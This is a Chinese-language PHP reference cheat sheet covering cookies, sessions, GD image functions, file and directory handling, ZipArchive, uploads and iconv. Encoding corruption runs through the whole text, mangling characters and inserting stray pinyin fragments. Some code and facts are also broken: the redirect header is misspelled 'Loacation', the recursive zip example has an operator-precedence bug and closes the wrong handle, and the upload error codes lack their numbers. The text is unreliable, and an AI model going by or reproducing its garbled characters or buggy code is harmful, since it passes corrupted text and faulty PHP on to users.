__FILE__    文件的完整路徑(絕對(duì)路徑)和文件名

__CLASS__    類(lèi)的名稱(chēng)
__METHOD__    類(lèi)的方法名,包含類(lèi)名和方法名
__FUNCTION__  函數(shù)名稱(chēng),用在方法內(nèi)只表示方法名

// 反射機(jī)制 Reflection
作用:1. 獲取結(jié)構(gòu)信息    2. 代理執(zhí)行
ReflectionClass 報(bào)告一個(gè)類(lèi)的有關(guān)信息
ReflectionMethod 報(bào)告一個(gè)方法的有關(guān)信息
ReflectionClass::export  輸出類(lèi)結(jié)構(gòu)報(bào)告
# 代理執(zhí)行
實(shí)例化 ReflectionFunction 類(lèi)的對(duì)象
  $f = new ReflectionFunction('func');  // func為函數(shù)func($p)
  $f->invoke('param');


/* 頁(yè)面跳轉(zhuǎn) */
// PHP
header('Loacation: url')
header()執(zhí)行完畢后,后面的代碼也會(huì)繼續(xù)執(zhí)行,故需在該語(yǔ)句后加die結(jié)束
無(wú)法給出提示,直接跳轉(zhuǎn)
// JS方法
location.href = url
// HTML
<meta http-equiv="Refresh" content="表示時(shí)間的數(shù)值; url=要跳轉(zhuǎn)的URI"> 

/* 【Cookie】 */
cookie是一種在遠(yuǎn)程瀏覽器端儲(chǔ)存數(shù)據(jù)并以此來(lái)跟蹤和識(shí)別用戶的機(jī)制。
cookie是HTTP標(biāo)頭的一部分,因此setcookie()函數(shù)必須在其它信息被輸出到瀏覽器前調(diào)用,這和對(duì)header()函數(shù)的限制類(lèi)似??梢允褂幂敵鼍彌_函數(shù)來(lái)延遲腳本的輸出,直到按需要設(shè)置好了所有的cookie或者其它HTTP標(biāo)頭。

// 新增
setcookie  新增一條cookie信息
setcookie($name [,$value [,$expire [,$path [,$domain [,$secure [,$httponly]]]]]])
#注意:setcookie()函數(shù)前不能有輸出!除非開(kāi)啟ob緩存!
# 參數(shù)說(shuō)明
$name  - cookie的識(shí)別名稱(chēng)
  使用$_COOKIE['name']抵用名為name的cookie
$value  - cookie值,可以為數(shù)值或字符串,此值保存在客戶端,不要用來(lái)保存敏感數(shù)據(jù)
  假定$name參數(shù)的值為'name',則$_COOKIE['name']就可取得該$value值
$expire  - cookie的生存期限(Unix時(shí)間戳,秒數(shù))
  如果$expire參數(shù)的值為time()+60*60*24*7則可設(shè)定cookie在一周后失效。如果未設(shè)定該參數(shù),則會(huì)話后立即失效。
$path  - cookie在服務(wù)器端的指定路徑。當(dāng)設(shè)定該值時(shí),服務(wù)器中只有指定路徑下的網(wǎng)頁(yè)或程序可以存取該cookie。
  如果該參數(shù)值為'/',則cookie在整個(gè)domain內(nèi)有效。
  如果設(shè)為'/foo/',則cookie就在domain下的/foo/目錄及其子目錄內(nèi)有效。
  默認(rèn)值為設(shè)定cookie的當(dāng)前目錄及其子目錄。
$domain  - 指定此cookie所屬服務(wù)器的網(wǎng)址名稱(chēng),預(yù)設(shè)是建立此cookie服務(wù)器的網(wǎng)址。
  要是cookie能在如abc.com域名下的所有子域都有效,則該參賽應(yīng)設(shè)為'.abc.com'。
$secure  - 指明cookie是否僅通過(guò)安全的HTTPS連接傳送中的cookie的安全識(shí)別常數(shù),如果設(shè)定該值則代表只有在某種情況下才能在客戶端與服務(wù)端之間傳遞。
  當(dāng)設(shè)成true時(shí),cookie僅在安全的連接中被設(shè)置。默認(rèn)值為false。

// 讀取
- 瀏覽器請(qǐng)求時(shí)會(huì)攜帶當(dāng)前域名下的所有cookie信息到服務(wù)器。
- 任何從客戶端發(fā)送的cookie都會(huì)被自動(dòng)存入$_COOKIE全局?jǐn)?shù)組。
- 如果希望對(duì)一個(gè)cookie變量設(shè)置多個(gè)值,則需在cookie的名稱(chēng)后加[]符號(hào)。即以數(shù)組形態(tài)保存多條數(shù)據(jù)到同一變量。
  //設(shè)置為$_COOKIE['user']['name'],注意user[name]的name沒(méi)有引號(hào)
  setcookie('user[name]', 'shocker');
- $_COOKIE也可以為索引數(shù)組

// 刪除
方法1:將其值設(shè)置為空字符串
  setcookie('user[name]', '');
方法2:將目標(biāo)cookie設(shè)為“已過(guò)期”狀態(tài)。
  //將cookie的生存時(shí)間設(shè)置為過(guò)期,則生存期限與瀏覽器一樣,當(dāng)瀏覽器關(guān)閉時(shí)就會(huì)被刪除。
  setcookie('usr[name]', '', time()-1);

# 注意:
1. cookie只能保存字符串?dāng)?shù)據(jù)
2. $_COOKIE只用于接收cookie數(shù)據(jù),不用于設(shè)置或管理cookie數(shù)據(jù)。
  對(duì)$_COOKIE進(jìn)行操作不會(huì)影響cookie數(shù)據(jù)。
  $_COOKIE只會(huì)保存瀏覽器在請(qǐng)求時(shí)所攜帶的cookie數(shù)據(jù)。
3. cookie生命周期:
  臨時(shí)cookie:瀏覽器關(guān)閉時(shí)被刪除
  持久cookie:$expire參數(shù)為時(shí)間戳,表示失效時(shí)間。
4. 有效目錄
  cookie只在指定的目錄有效。默認(rèn)是當(dāng)前目錄及其子目錄。
  子目錄的cookie在其父目錄或同級(jí)目錄不可獲取。
5. cookie區(qū)分域名
  默認(rèn)是當(dāng)前域名及其子域名有效。
6. js中通過(guò)document.cookie獲得,類(lèi)型為字符串
7. 瀏覽器對(duì)COOKIE總數(shù)沒(méi)有限制,但對(duì)每個(gè)域名的COOKIE數(shù)量和每個(gè)COOKIE的大小有限,而且不同瀏覽器的限制不同。

/* 【session】 */
1. 開(kāi)啟session機(jī)制
  session_start()
  注意:session_start()函數(shù)前不能有輸出!除非開(kāi)啟ob緩存。
2. 操作數(shù)據(jù)
  對(duì)$_SESSION數(shù)組進(jìn)行操作
3. 瀏覽器端保存SessionID,默認(rèn)為當(dāng)前域名下的所有目錄及其子目錄生效。即默認(rèn)設(shè)置cookie的path值為'/'
4. 服務(wù)器保存session數(shù)據(jù)
  默認(rèn)保存方式:每個(gè)會(huì)話都會(huì)生成一個(gè)session數(shù)據(jù)文件,文件名為:sess_加SessionID
5. session可以存儲(chǔ)除了資源以外的任何類(lèi)型數(shù)據(jù)。
  數(shù)據(jù)被序列化后再保存到文件中。
6. $_SESSION的元素下標(biāo)不能為整型!
  因?yàn)橹粚?duì)元素值進(jìn)行序列化。
  元素內(nèi)的數(shù)組下標(biāo)無(wú)此要求。
7. 生存周期
  默認(rèn)是瀏覽器關(guān)閉
    因?yàn)闉g覽器保存的cookie變量SessionID是臨時(shí)的
    但是服務(wù)器端的session數(shù)據(jù)文件不一定消失(需要等待session的垃圾回收機(jī)制來(lái)處理)
  可以延長(zhǎng)cookie中PHPSESSID變量的生命周期。(不推薦)
  php.ini配置session.gc_maxlifetime
8. 刪除數(shù)據(jù)
  $_SESSION變量在腳本結(jié)束時(shí)依然會(huì)消失。開(kāi)啟session機(jī)制時(shí)會(huì)造出$_SESSION變量。
  $_SESSION與保存session數(shù)據(jù)的文件是兩個(gè)空間。
  unset($_SESSION['key'])只是刪除數(shù)組內(nèi)的該元素,不會(huì)立即相應(yīng)到保存session數(shù)據(jù)的文件上。
    等到腳本結(jié)束,才會(huì)將$_SESSION的數(shù)據(jù)寫(xiě)入到該文件中。
  session_destroy()  銷(xiāo)毀保存session數(shù)據(jù)的文件,也不會(huì)對(duì)該文件寫(xiě)入內(nèi)容。
    并不刪除$_SESSION變量,unset或腳本結(jié)束才會(huì)刪除該變量。
  如何完全刪除一個(gè)session?需刪除3部分
    unset($_SESSION);  
      刪除$_SESSION變量后,數(shù)據(jù)文件并未被改動(dòng)。如果單獨(dú)使用unset,則需先置空$_SESSION = array()
    session_destroy();
    setcookie('PHPSESSID', '', time()-1); //保險(xiǎn)做法是將其生命周期失效
  整個(gè)腳本周期內(nèi),只對(duì)數(shù)據(jù)文件讀一次、寫(xiě)一次。

// 重寫(xiě)session的存儲(chǔ)機(jī)制
# session存儲(chǔ)方式
session.save_handler = user|files|memcache
# 因數(shù)據(jù)文件過(guò)多導(dǎo)致的問(wèn)題,可通過(guò)分子目錄保存進(jìn)行解決
PHP配置文件下session.save_path選項(xiàng),并需手動(dòng)創(chuàng)建數(shù)據(jù)存放目錄。
在該配置選項(xiàng)前加層級(jí)。分布子目錄的原則,利用會(huì)話ID的相應(yīng)字母來(lái)分配子目錄。仍需手動(dòng)創(chuàng)建子目錄。
session.save_path = "2; F:/PHPJob/Temp"
# 多服務(wù)器數(shù)據(jù)共享問(wèn)題
# 數(shù)據(jù)存儲(chǔ)操作:
  初始化$open、釋放資源$close、讀$read、寫(xiě)$write、銷(xiāo)毀存儲(chǔ)介質(zhì)$destroy(調(diào)用session_destroy時(shí)觸發(fā)該操作)、垃圾回收$gc
# 會(huì)話ID的長(zhǎng)度可變。不同的設(shè)置方式導(dǎo)致不同長(zhǎng)度的會(huì)話ID。
session.hash_function  允許用戶指定生成會(huì)話ID的散列算法。
  '0' 表示MD5(128 位),'1' 表示SHA-1(160 位)。
session.hash_bits_per_character  允許用戶定義將二進(jìn)制散列數(shù)據(jù)轉(zhuǎn)換為可讀的格式時(shí)每個(gè)字符存放多少個(gè)比特。
  可能值為 '4'(0-9,a-f),'5'(0-9,a-v),以及 '6'(0-9,a-z,A-Z,"-",",")。
  總hash長(zhǎng)度為128bit,會(huì)話ID長(zhǎng)度為128/可能值,4->32, 5->26, 6->22
# 自定義數(shù)據(jù)存儲(chǔ)操作方法
# 注意:不用關(guān)心PHP如何序列化、反序列化、如何得到數(shù)據(jù)和寫(xiě)入數(shù)據(jù),只做與數(shù)據(jù)存儲(chǔ)相關(guān)的操作
session_set_save_handler  設(shè)置用戶自定義的會(huì)話數(shù)據(jù)存儲(chǔ)函數(shù)
  bool session_set_save_handler(callable $open, callable $close, callable $read, callable $write, callable $destroy, callable $gc)
執(zhí)行順序:open, close, read, write, destroy, gc
# 先設(shè)置處理器,再開(kāi)啟會(huì)話

# 常用函數(shù)
session_start    開(kāi)啟或恢復(fù)會(huì)話機(jī)制
session_id      獲取或設(shè)置當(dāng)前會(huì)話ID
session_destroy    銷(xiāo)毀當(dāng)前會(huì)話的所有數(shù)據(jù)(銷(xiāo)毀數(shù)據(jù)文件)
session_name    獲取或設(shè)置當(dāng)前會(huì)話名稱(chēng)(cookie變量名,默認(rèn)為PHPSESSID)
session_save_path  獲取或設(shè)置當(dāng)前會(huì)話數(shù)據(jù)文件保存路徑
session_set_save_handler  設(shè)置用戶自定義的會(huì)話數(shù)據(jù)存儲(chǔ)函數(shù)
session_unset    釋放所有會(huì)話變量(清空$_SESSION數(shù)組元素)
session_encode    將當(dāng)前會(huì)話數(shù)據(jù)編碼為一個(gè)字符串
session_decode    將字符串解譯為會(huì)話數(shù)據(jù)
session_write_close  寫(xiě)入會(huì)話數(shù)據(jù)并關(guān)閉會(huì)話
session_register_shutdown  關(guān)閉會(huì)話
session_set_cookie_params  設(shè)置會(huì)話cookie變量,必須在session_start()前使用。
  session_set_cookie_params(0,"/webapp/"); //設(shè)置session生存時(shí)間
session_get_cookie_params  獲取會(huì)話cookie變量。返回包含當(dāng)前會(huì)話cookie信息的數(shù)組

# 配置php.ini
ini_set($varname, $newvalue);
  //該函數(shù)的配置只對(duì)當(dāng)前腳本生效
  //并非所有php.ini設(shè)置均可用該函數(shù)設(shè)置
ini_get($varname)  //獲取某配置項(xiàng)信息
ini_get_all([str $extension])  //返回所有配置項(xiàng)信息的數(shù)組

# session擴(kuò)展配置
session.name  指定會(huì)話名以用作cookie的名字。只能由字母數(shù)字組成,默認(rèn)為PHPSESSID。
session.save_path  定義了傳遞給存儲(chǔ)處理器的參數(shù)。
  如果選擇了默認(rèn)的files文件處理器,則此值是創(chuàng)建文件的路徑。默認(rèn)為/tmp。
  可選的N參數(shù)來(lái)決定會(huì)話文件分布的目錄深度。
  要使用N參數(shù),必須在使用前先創(chuàng)建好這些目錄。在ext/session目錄下有個(gè)小的shell腳本名叫mod_files.sh可以用來(lái)做這件事。
  如果使用了N參數(shù)并且N大于0,那么將不會(huì)執(zhí)行自動(dòng)垃圾回收。
session.save_handler  定義了來(lái)存儲(chǔ)和獲取與會(huì)話關(guān)聯(lián)的數(shù)據(jù)的處理器的名字。默認(rèn)為files。
  如果用戶自定義存儲(chǔ)器,則該值改為user。
  ini_set('session.save_handler', 'user');//此設(shè)置只針對(duì)當(dāng)前腳本生效。
session.auto_start 指定會(huì)話模塊是否在請(qǐng)求開(kāi)始時(shí)自動(dòng)啟動(dòng)一個(gè)會(huì)話。默認(rèn)為 0(不啟動(dòng))。
session.gc_probability與session.gc_divisor合起來(lái)定義了在每個(gè)會(huì)話初始化時(shí)啟動(dòng)gc(garbage collection 垃圾回收)進(jìn)程的概率。此概率用 gc_probability/gc_divisor 計(jì)算得來(lái)。例如 1/100 意味著在每個(gè)請(qǐng)求中有 1% 的概率啟動(dòng)gc進(jìn)程。session.gc_divisor默認(rèn)為100。session.gc_probability默認(rèn)為1。


/* 【圖片生成與處理】 */GD庫(kù)
// 畫(huà)布生成
# 新建畫(huà)布
imagecreate       新建一個(gè)基于調(diào)色板的圖像
  resource imagecreate(int $x_size, int $y_size)
imagecreatetruecolor  新建一個(gè)真彩色圖像
# 基于已有文件或URL創(chuàng)建畫(huà)布
imagecreatefromgd2   從GD2文件或URL新建一圖像
imagecreatefromgd2part 從給定的GD2文件或URL中的部分新建一圖像
imagecreatefromgd    從GD文件或URL新建一圖像
imagecreatefromgif   由文件或URL創(chuàng)建一個(gè)新圖象
imagecreatefromjpeg   由文件或URL創(chuàng)建一個(gè)新圖象
imagecreatefrompng   由文件或URL創(chuàng)建一個(gè)新圖象
imagecreatefromstring  從字符串中的圖像流新建一圖像
imagecreatefromwbmp   由文件或URL創(chuàng)建一個(gè)新圖象
imagecreatefromxbm   由文件或URL創(chuàng)建一個(gè)新圖象
imagecreatefromxpm   由文件或URL創(chuàng)建一個(gè)新圖象
// 顏色分配
imagecolorallocate     為一幅圖像分配顏色
  int imagecolorallocate(resource $image, int $red, int $green, int $blue)
imagecolorallocatealpha   為一幅圖像分配顏色 + alpha
imagecolordeallocate    取消圖像顏色的分配
imagecolortransparent    將某個(gè)顏色定義為透明色
imagecolorat      取得某像素的顏色索引值
imagecolorclosest    取得與指定的顏色最接近的顏色的索引值
imagecolorclosestalpha 取得與指定的顏色加透明度最接近的顏色
imagecolorclosesthwb  取得與給定顏色最接近的色度的黑白色的索引
imagecolorexact     取得指定顏色的索引值
imagecolorexactalpha  取得指定的顏色加透明度的索引值
imagecolormatch     使一個(gè)圖像中調(diào)色板版本的顏色與真彩色版本更能匹配
imagecolorresolve    取得指定顏色的索引值或有可能得到的最接近的替代值
imagecolorresolvealpha 取得指定顏色 + alpha 的索引值或有可能得到的最接近的替代值
imagecolorset      給指定調(diào)色板索引設(shè)定顏色
imagecolorsforindex   取得某索引的顏色
imagecolorstotal    取得一幅圖像的調(diào)色板中顏色的數(shù)目
// 區(qū)域填充
imagefill  區(qū)域填充
  bool imagefill(resource $image, int $x, int $y, int $color)
imagefilledarc     畫(huà)一橢圓弧且填充
imagefilledellipse   畫(huà)一橢圓并填充
imagefilledpolygon   畫(huà)一多邊形并填充
imagefilledrectangle  畫(huà)一矩形并填充
imagefilltoborder    區(qū)域填充到指定顏色的邊界為止
imagesettile  設(shè)定用于填充的貼圖
// 圖形創(chuàng)建
imagearc    畫(huà)橢圓弧
imagechar    水平地畫(huà)一個(gè)字符
imagecharup   垂直地畫(huà)一個(gè)字符
imagedashedline 畫(huà)一虛線
imageellipse  畫(huà)一個(gè)橢圓
imageline    畫(huà)一條線段
imagepolygon  畫(huà)一個(gè)多邊形
imagerectangle 畫(huà)一個(gè)矩形
imagesetpixel  畫(huà)一個(gè)單一像素
imagesx     取得圖像寬度
imagesy     取得圖像高度
// 畫(huà)筆設(shè)置
imagesetbrush  設(shè)定畫(huà)線用的畫(huà)筆圖像
imagesetstyle  設(shè)定畫(huà)線的風(fēng)格
imagesetthickness  設(shè)定畫(huà)線的寬度
// 圖形拷貝
imagecopy      拷貝圖像的一部分
imagecopymerge   拷貝并合并圖像的一部分
imagecopymergegray 用灰度拷貝并合并圖像的一部分
imagecopyresampled 重采樣拷貝部分圖像并調(diào)整大小
imagecopyresized  拷貝部分圖像并調(diào)整大小
// 字符創(chuàng)建
imagestring     水平地畫(huà)一行字符串
imagestringup    垂直地畫(huà)一行字符串
imagepsslantfont  傾斜某字體
imagefontheight   取得字體高度
imagefontwidth   取得字體寬度
imagettfbbox    取得使用 TrueType 字體的文本的范圍
imageloadfont    載入一新字體
imagepsencodefont  改變字體中的字符編碼矢量
imagepsextendfont  擴(kuò)充或精簡(jiǎn)字體
// 導(dǎo)出畫(huà)布為圖片
imagegif  以GIF格式將圖像輸出到瀏覽器或文件
imagepng  以PNG格式將圖像輸出到瀏覽器或文件
imagejpeg  以JPEG格式將圖像輸出到瀏覽器或文件
imagewbmp  以WBMP格式將圖像輸出到瀏覽器或文件
通過(guò)header()發(fā)送 "Content-type: image/圖片格式" 可以使PHP腳本直接輸出圖像。
  header("Content-type: image/gif"); imagegif($im);
imagegd   將 GD 圖像輸出到瀏覽器或文件
imagegd2  將 GD2 圖像輸出到瀏覽器或文件
// 釋放畫(huà)布資源
imagedestroy  銷(xiāo)毀圖像
// 圖像信息
image_type_to_extension   取得圖像類(lèi)型的文件后綴
getimagesize        取得圖像大小
imagesx           取得圖像寬度
imagesy           取得圖像高度
imageistruecolor      檢查圖像是否為真彩色圖像
imagetypes         返回當(dāng)前 PHP 版本所支持的圖像類(lèi)型
// 圖像設(shè)置
imagerotate     用給定角度旋轉(zhuǎn)圖像
imagealphablending 設(shè)定圖像的混色模式
imageantialias   是否使用抗鋸齒(antialias)功能
imagefilter     對(duì)圖像使用過(guò)濾器
imagegammacorrect  對(duì) GD 圖像應(yīng)用 gamma 修正
imageinterlace   激活或禁止隔行掃描

/* 【縮略圖】【水印】 */
imagecopyresampled 重采樣拷貝部分圖像并調(diào)整大小
  bool imagecopyresampled ( resource $dst_image , resource $src_image , int $dst_x , int $dst_y , int $src_x , int $src_y , int $dst_w , int $dst_h , int $src_w , int $src_h )
imagecopymerge   拷貝并合并圖像的一部分
  bool imagecopymerge ( resource $dst_im , resource $src_im , int $dst_x , int $dst_y , int $src_x , int $src_y , int $src_w , int $src_h , int $pct )
getimagesize    取得圖像大小
  array getimagesize ( string $filename [, array &$imageinfo ] )

/* 【URL函數(shù)】 */
get_headers — 取得服務(wù)器響應(yīng)一個(gè) HTTP 請(qǐng)求所發(fā)送的所有標(biāo)頭
get_meta_tags — 從一個(gè)文件中提取所有的 meta 標(biāo)簽 content 屬性,返回一個(gè)數(shù)組
http_build_query — 生成 URL-encode 之后的請(qǐng)求字符串
urldecode — 解碼已編碼的URL字符串
urlencode — 編碼URL字符串
parse_url — 解析URL,返回其組成部分
  'http://username:password@hostname/path?arg=value#anchor'
  scheme(如http), host, port, user, pass, path, query(在問(wèn)號(hào)?之后), fragment(在散列符號(hào)#之后)


//編碼可用于交換多個(gè)變量
$a = '中國(guó)';
$b = '四川';
$a = urlencode($a);
$b = urlencode($b);
$a = $a.'&'.$b;
$b = explode('&', $a);
$a = urldecode($b[1]);
$b = urldecode($b[0]);
echo $a, $b;
//list()函數(shù)用于交換變量
list($a, $b) = array($b, $a);


/* 【文件、目錄】 */
dirname($path) 返回路徑中的目錄部分
basename($path [,$suffix]) 返回路徑中的文件名部分
pathinfo($path [,$options]) 返回文件路徑的信息(數(shù)組元素:dirname,basename,extension)
realpath($path) 返回規(guī)范化的絕對(duì)路徑名

copy($source, $dest)  拷貝文件
unlink($file)  刪除文件
rename($old, $new) 重命名或移動(dòng)一個(gè)文件或目錄
mkdir($path [,$mode [,$recursive]]) 新建目錄
  $mode表示權(quán)限,默認(rèn)0777
  $recursive表示可創(chuàng)建多級(jí)目錄,默認(rèn)false
rmdir($dir)   刪除目錄(目錄必須為空,且具有權(quán)限)

file_exists($file) 檢查文件或目錄是否存在
is_file($file)   判斷文件是否存在且為正常的文件
is_dir($file)    判斷文件名是否存在且為目錄
is_readable($file) 判斷文件或目錄是否可讀
is_writable($file) 判斷文件或目錄是否可寫(xiě)
is_executable($file)  判斷給定文件名是否可執(zhí)行
is_link($file)   判斷給定文件名是否為一個(gè)符號(hào)連接

tmpfile(void)  建立一個(gè)臨時(shí)文件
tempnam($dir, $prefix) 在指定目錄中建立一個(gè)具有唯一文件名的文件

file($file) 把整個(gè)文件讀入一個(gè)數(shù)組中
fopen($filename, $mode [,$use_include_path])
  $mode參數(shù):(加入'b'標(biāo)記解決移植性)
    'r'   只讀方式打開(kāi),將文件指針指向文件頭。
    'r+'  讀寫(xiě)方式打開(kāi),將文件指針指向文件頭。
    'w'   寫(xiě)入方式打開(kāi),將文件指針指向文件頭并將文件大小截為零。如果文件不存在則嘗試創(chuàng)建之。
    'w+'  讀寫(xiě)方式打開(kāi),將文件指針指向文件頭并將文件大小截為零。如果文件不存在則嘗試創(chuàng)建之。
    'a'   寫(xiě)入方式打開(kāi),將文件指針指向文件末尾。如果文件不存在則嘗試創(chuàng)建之。
    'a+'  讀寫(xiě)方式打開(kāi),將文件指針指向文件末尾。如果文件不存在則嘗試創(chuàng)建之。
    'x'   創(chuàng)建并以寫(xiě)入方式打開(kāi),將文件指針指向文件頭。
    'x+'  創(chuàng)建并以讀寫(xiě)方式打開(kāi),將文件指針指向文件頭。
fclose($handle) 關(guān)閉一個(gè)已打開(kāi)的文件指針
fread($handle, $length) 讀取文件(可安全用于二進(jìn)制文件)
fwrite($handle, $string [,$length]) 寫(xiě)入文件(可安全用于二進(jìn)制文件)
rewind($handle) 倒回文件指針的位置
ftell($handle) 返回文件指針讀/寫(xiě)的位置
fseek($handle, $offset [,$whence]) 在文件指針中定位
feof($handle)  測(cè)試文件指針是否到了文件結(jié)束的位置
fgets  從文件指針中讀取一行
fgetss 從文件指針中讀取一行并過(guò)濾掉HTML標(biāo)記
flock($handle, $opt) 輕便的咨詢文件鎖定
  $opt:LOCK_SH 取得共享鎖定(讀取的程序);LOCK_EX 取得獨(dú)占鎖定(寫(xiě)入的程序);LOCK_UN 釋放鎖定(無(wú)論共享或獨(dú)占)


readfile($file) 讀入一個(gè)文件并寫(xiě)入到輸出緩沖
fflush($handle) 將緩沖內(nèi)容輸出到文件

touch($file [,$time [,$atime]])  設(shè)定文件的訪問(wèn)和修改時(shí)間
fileatime  取得文件的上次訪問(wèn)時(shí)間
filectime  取得文件的inode修改時(shí)間
filegroup  取得文件的組
fileinode  取得文件的inode
filemtime  取得文件修改時(shí)間
fileowner  取得文件的所有者
fileperms  取得文件的權(quán)限
filesize  取得文件大小
filetype  取得文件類(lèi)型


/* fileinfo */ 獲取/設(shè)置文件信息
#擴(kuò)展Fileinfo,配置php.ini
#extension=php_fileinfo.dll
finfo_open([$opt]) //創(chuàng)建一個(gè)文件信息資源
finfo_file($finfo, $file [,$opt]) //獲取文件信息
finfo_set_flags($finfo, $opt) //設(shè)置文件信息項(xiàng)
finfo_close($finfo) //關(guān)閉文件信息資源

mime_content_type($file) //獲取文件的MIME類(lèi)型

$opt參數(shù)選項(xiàng):
FILEINFO_MIME_ENCODING 文件編碼類(lèi)型
FILEINFO_MIME_TYPE 文件MIME類(lèi)型


//目錄
chdir($dir)     改變當(dāng)前目錄
chroot($dir)    將當(dāng)前目錄改變?yōu)楫?dāng)前進(jìn)程的根目錄
closedir($handle)  關(guān)閉目錄句柄
dir($dir)      返回一個(gè)目錄的實(shí)例對(duì)象
getcwd()      取得當(dāng)前工作目錄
opendir($path)   打開(kāi)目錄句柄
readdir($handle)  從目錄句柄中讀取條目
rewinddir($handle) 倒回目錄句柄
scandir($dir [,$order])   列出指定路徑中的文件和目錄
glob($pattern [,$flags])  尋找與模式匹配的文件路徑
  $flags:
    GLOB_MARK - 在每個(gè)返回的項(xiàng)目中加一個(gè)斜線 
    GLOB_NOSORT - 按照文件在目錄中出現(xiàn)的原始順序返回(不排序) 
    GLOB_NOCHECK - 如果沒(méi)有文件匹配則返回用于搜索的模式 
    GLOB_NOESCAPE - 反斜線不轉(zhuǎn)義元字符 
    GLOB_BRACE - 擴(kuò)充 {a,b,c} 來(lái)匹配 'a','b' 或 'c' 
    GLOB_ONLYDIR - 僅返回與模式匹配的目錄項(xiàng) 
  查找多種后綴名文件:glob('*.{php,txt}', GLOB_BRACE);


/* 解壓縮 */
//新建ZipArchive對(duì)象
$zip = new ZipArchive;
//打開(kāi)ZIP文件
$zip->open($file [,$flags]);
  $flags:
    ZIPARCHIVE::OVERWRITE 覆蓋(不存在會(huì)自動(dòng)創(chuàng)建)
    ZIPARCHIVE::CREATE 添加(不存在會(huì)自動(dòng)創(chuàng)建)
    ZIPARCHIVE::EXCL
    ZIPARCHIVE::CHECKCONS
//關(guān)閉正在處理的ZIP文件
//解壓縮ZIP文件
$zip->extractTo($dest, [$entries]);
  $dest:解壓到的文件夾,$entries:解壓的條目
//添加文件到ZIP文件
$zip->addFile($file, [$newname]);  
  $newname可以為"dir/file",這樣可以將文件添加到壓縮文件中的某個(gè)目錄下。其他函數(shù)也如此。
//添加文件到ZIP文件,而內(nèi)容來(lái)自字符串
$zip->addFromString($file, $str);
//添加空文件夾到ZIP文件
$zip->addEmptyDir($dir);
//通過(guò)索引刪除ZIP中的文件或文件夾
$zip->deleteIndex($index);
//通過(guò)名稱(chēng)刪除ZIP中的文件或文件夾
$zip->deleteName($name);
//設(shè)置ZIP文件注釋
$zip->setArchiveComment($str);
//獲取ZIP文件注釋
$zip->getArchiveComment();
//通過(guò)索引獲取文件內(nèi)容
$zip->getFromIndex($index);
//通過(guò)名稱(chēng)獲取文件內(nèi)容
$zip->getFromName($name);
//獲取索引文件的文件名稱(chēng)
$zip->getNameIndex($index);
//通過(guò)索引重命名文件
$zip->renameIndex($index, $newname);
//通過(guò)名稱(chēng)重命名文件
$zip->renameName($name, $newname);

//若將文件夾內(nèi)容打包成ZIP文件,需循環(huán)文件夾的所有目錄及文件
function addFileToZip($path, $zip) {
  //打開(kāi)當(dāng)前文件夾$path
  $handle = opendir($path);
  //循環(huán)讀取子文件夾及文件
  //為防止文件名本身可被轉(zhuǎn)換為false的情況(比如為"0"),則需用不全等!==
  while ($file = readdir($handle) !== false) {
    //過(guò)濾假文件夾
    if ($file != '.' && $file != '..') {
      //對(duì)于子文件夾則遞歸調(diào)用本函數(shù)
      if (is_dir($path . '/' . $file)) {
        addFileToZip($path.'/'.$file, $zip);
      } else {
        //將文件添加到ZIP對(duì)象
        $zip->addFile($path . '/' . $file);
      }
    }
  }
  //關(guān)閉文件夾$path
  closedir($path);
}
// ----- END 解壓縮 ----- //


/* 【文件上傳】 */
enctype="multipart/form-data"  //FORM標(biāo)簽必須的屬性
$_FILES 上傳文件信息數(shù)組變量
error  上傳錯(cuò)誤信息
 無(wú)錯(cuò)誤
 文件大小超過(guò)php.ini配置
    1) upload_max_filesize 允許上傳的最大文件大小
    2) post_max_size 最大的POST數(shù)據(jù)大小
    3) memory_limit 每個(gè)腳本能夠使用的最大內(nèi)存數(shù)量(默認(rèn)128MB)
 文件大小超過(guò)瀏覽器表單配置
    MAX_FILE_SIZE  表示表單數(shù)據(jù)最大文件大小,該元素需在文件上傳域之前。(默認(rèn)2M)
    <input type="hidden" name="MAX_FILE_SIZE" value="102400">
 文件只有部分被上傳
 文件沒(méi)有被上傳
  6,7 臨時(shí)文件寫(xiě)入時(shí)失敗
 找不到臨時(shí)文件
 文件寫(xiě)入失敗
name  文件名
type  文件類(lèi)型
tmp_name  上傳文件臨時(shí)路徑
size  文件大小
move_uploaded_file($path, $newpath);  //將上傳的文件移動(dòng)到新位置
is_uploaded_file($file) //判斷是否為POST上傳的文件
//多文件上傳
<input type="file" name="updfile[]" /> //HTML中以數(shù)組提交
$_FILES['updfile']['tmp_name'][0]  //服務(wù)器端可訪問(wèn)第一個(gè)文件的臨時(shí)路徑,其他屬性類(lèi)似


//php.ini配置
file_uploads = On 是否允許HTTP上傳文件
upload_max_filesize 上傳文件大小限制,默認(rèn)為2M
post_max_size  post方式表單數(shù)據(jù)總大小限制,默認(rèn)為8M
upload_tmp_dir 上傳文件臨時(shí)目錄,默認(rèn)是系統(tǒng)臨時(shí)目錄
  需設(shè)置上傳文件臨時(shí)目錄,給其最小權(quán)限
GET方式的最大傳輸量為2K


/* 【批量提交】 */
FORM表單中的name值可用名稱(chēng)加中括號(hào)的形式,在$_POST獲取表單數(shù)據(jù)時(shí),可多項(xiàng)提交形成數(shù)組。
比如多文件上傳file,復(fù)選框提交checkbox等。
<input type="checkbox" name="id[]" value="值1" />
<input type="checkbox" name="id[]" value="值2" />
$id = $_POST['id']; //則可獲得全部被選中的復(fù)選框值,形成索引數(shù)組
如果name值為:
<input type="checkbox" name="id[one]" value="值1" />
<input type="checkbox" name="id[two]" value="值2" />
$id = $_POST['id']; //則可獲取所有name為id[...]的值,形成管理數(shù)組


/* iconv */
//php.ini配置iconv
[iconv]
;iconv.input_encoding = ISO-8859-1
;iconv.output_encoding = ISO-8859-1
;iconv.internal_encoding = ISO-8859-1
iconv_set_encoding($type, $charset);
  $type:input_encoding,output_encoding,internal_encoding
iconv_get_encoding([$type = "all"])
  $type:all,input_encoding,output_encoding,internal_encoding



iconv($in_charset, $out_charset, $str) //將字符串轉(zhuǎn)換為目標(biāo)編碼

指定編碼,可解決中文字符的統(tǒng)計(jì)、查詢、截取等!
iconv_strlen($str [,$charset]) //統(tǒng)計(jì)字符串的字符數(shù)
iconv_strpos($str, $needle, $offset [,$charset]) //查找子串首次出現(xiàn)的位置
iconv_strrpos($str, $needle [,$charset]) //查找子串最后一次出現(xiàn)的位置
iconv_substr($str, $offset [,$len [,$charset]]) //截取子串


/* 【字符串函數(shù)】*/
addslashes($str)  //使用反斜線轉(zhuǎn)移字符串
stripcslashes($str) //反引用一個(gè)使用addcslashes轉(zhuǎn)義的字符串
stripslashes($str) //反引用一個(gè)引用字符串
